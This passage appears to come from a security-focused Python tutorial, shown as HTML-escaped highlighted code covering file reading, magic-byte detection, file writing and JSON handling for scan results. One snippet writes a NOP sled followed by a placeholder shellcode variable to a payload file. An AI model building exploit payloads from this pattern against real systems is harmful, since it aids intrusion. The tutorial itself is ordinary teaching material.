&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                 &lt;span class="c1"&gt;# Entire file as string
&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;              &lt;span class="c1"&gt;# List of lines (includes \n)
&lt;/span&gt;
&lt;span class="c1"&gt;# Reading line by line — memory efficient for large files
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;access.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                     &lt;span class="c1"&gt;# f is an iterator
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;404&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;        &lt;span class="c1"&gt;# strip() removes trailing \n
&lt;/span&gt;
&lt;span class="c1"&gt;# Clean line reading
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;  &lt;span class="c1"&gt;# Skip empty lines
&lt;/span&gt;
&lt;span class="c1"&gt;# Reading binary files — for forensics, malware analysis
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sample.exe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="c1"&gt;# "rb" = read binary
&lt;/span&gt;    &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# Read first 4 bytes (magic bytes)
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                &lt;span class="c1"&gt;# MZ header: 4d5a → PE file
&lt;/span&gt;
&lt;span class="c1"&gt;# Checking magic bytes (file type detection)
&lt;/span&gt;&lt;span class="n"&gt;magic_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x4d\x5a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Windows PE (EXE/DLL)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x7f&lt;/span&gt;&lt;span class="s"&gt;ELF&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux ELF binary&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x89&lt;/span&gt;&lt;span class="s"&gt;PNG&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PNG image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%PDF&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PDF document&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PK&lt;/span&gt;&lt;span class="se"&gt;\x03\x04&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ZIP archive (also DOCX, XLSX, APKJ)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;unknown_file&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filetype&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;magic_bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;File type: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;filetype&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Writing Files
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Write (overwrite if exists)
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan_results.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scan Results&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Append to file
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan_log.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;] Scanned &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Writing binary
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;payload.bin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x90&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="c1"&gt;# 100 NOP instructions
&lt;/span&gt;    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Writing multiple lines efficiently
&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;subnet.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writelines&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 JSON — The Standard Data Exchange Format
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="c1"&gt;# Load JSON from file
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan_results.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Load JSON from string
&lt;/span&gt;&lt;span class="n"&gt;json_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;: [22, 80, 443]}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                    &lt;span class="c1"&gt;# 192.168.1.1
&lt;/span&gt;
&lt;span class="c1"&gt;# Write JSON to file
&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;results.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;# indent=4 for pretty printing
&lt;/span&gt;
&lt;span class="c1"&gt;# Convert to JSON string
&lt;/span&gt;&lt;span class="n"&gt;json_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Handling JSON from APIs and security tools
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
